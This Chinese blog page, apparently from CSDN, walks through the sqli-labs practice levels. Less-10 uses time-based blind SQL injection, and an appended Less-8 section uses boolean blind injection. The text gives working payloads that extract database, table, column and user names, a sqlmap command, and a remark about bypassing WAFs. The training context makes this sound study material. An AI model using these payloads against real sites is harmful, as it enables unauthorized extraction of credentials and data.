sqli-labs Less-10

该博客详细介绍了如何利用基于时间的盲注技术进行SQL注入攻击,首先通过猜解确定数据库名为'security',接着找出数据表emails, referers, uagents, users,并进一步获取了users表中的列名id, username, password,最后揭示了username的值。" 114786294,10537895,腾讯云MySQL数据库冷备回档实践,"['数据库管理', 'MySQL', '数据备份', '云服务', '数据恢复']

Less-10 Get - Blind -Time based -double quotes
基于时间的盲注
(Less-9 与Less-10的区别在于一个是单引号一个是双引号,其他判断步骤一致)*在这里插入图片描述*

正确的直接返回,错误的时候等待5秒钟。
1.猜测数据库:
?id=1” and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
在这里插入图片描述
?id=1” and If(ascii(substr(database(),1,1))=114,1,sleep(5))–+
在这里插入图片描述
说明第一位是s (ascii码是115)

?id=1” and If(ascii(substr(database(),2,1))=101,1,sleep(5))–+
说明第二位是e (ascii码是101)
… 以此类推,得到数据库名字是security

2.猜测security数据库的数据表:
?id=1” and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+
说明第一个数据表的第一位是e,
…依次类推,得到emails

?id=1” and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))=114,1,sleep(5))–+
(判断步骤同上)多次尝试后得到所有的数据表emails,referers,uagents,users

3.猜测users表的列:
?id=1” and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))=105,1,sleep(5))–+
(判断步骤同上)多次尝试,到列名是id,username,password

4.猜测username的值:
?id=1” and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))–+
(判断步骤同上)多次尝试 得到所有的用户名和密码

sqli-labs 平台的 Less-8 关卡是一个典型的布尔盲注(Boolean-based Blind SQL Injection)场景。该关卡没有明确的回显信息,攻击者需要通过页面返回的布尔状态(正常或异常)来判断注入语句是否执行成功,从而逐步推断数据库信息。 ### 解题思路 在 Less-8 中,注入点位于 `id` 参数,使用单引号 `'` 作为闭合方式。注入点的基本形式为: ```http http://localhost/sqli-labs/Less-8/?id=1' ``` #### 1. 判断注入点是否存在 尝试构造布尔表达式来验证注入点是否有效。例如: ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=1 --+ ``` 如果页面正常显示内容,则说明布尔表达式为真时页面正常;再尝试: ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=2 --+ ``` 如果页面无内容或出现错误,则确认存在布尔盲注漏洞。 #### 2. 猜解数据库名称长度 通过 `LENGTH(database())` 函数判断当前数据库名称的长度: ```http http://localhost/sqli-labs/Less-8/?id=1' AND LENGTH(database()) > 5 --+ ``` 逐步调整数值,确定数据库名称的具体长度。 #### 3. 猜解数据库名称 使用 `SUBSTR()` 和 `ASCII()` 函数逐字符判断数据库名称: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR(database(),1,1)) > 97 --+ ``` 通过二分法逐步缩小字符范围,最终确定数据库名称。 #### 4. 猜解表名 假设已知数据库名为 `security`,可以使用以下语句获取表名: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取表名,直到完整识别出目标表(如 `users`)。 #### 5. 猜解列名 获取 `users` 表的列名: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取列名,如 `username`、`password` 等。 #### 6. 获取数据 最后,获取具体字段的数据,例如用户名和密码: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1)) > 64 --+ ``` 重复上述步骤,逐字符提取敏感信息。 ### 自动化工具辅助 在实际渗透测试中,可以使用如 **sqlmap** 等工具自动完成上述过程。例如: ```bash sqlmap -u "http://localhost/sqli-labs/Less-8/?id=1" --batch --risk=3 --level=5 --dbs ``` 该命令可自动探测数据库信息,并提取表名和字段内容。 ### 注意事项 - 所有操作应在合法授权范围内进行,避免非法入侵。 - 布尔盲注效率较低,建议结合延时注入(Time-based Blind SQL Injection)提升速度。 - 部分 WAF(Web Application Firewall)可能拦截敏感关键字,需对注入语句进行编码或绕过处理。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值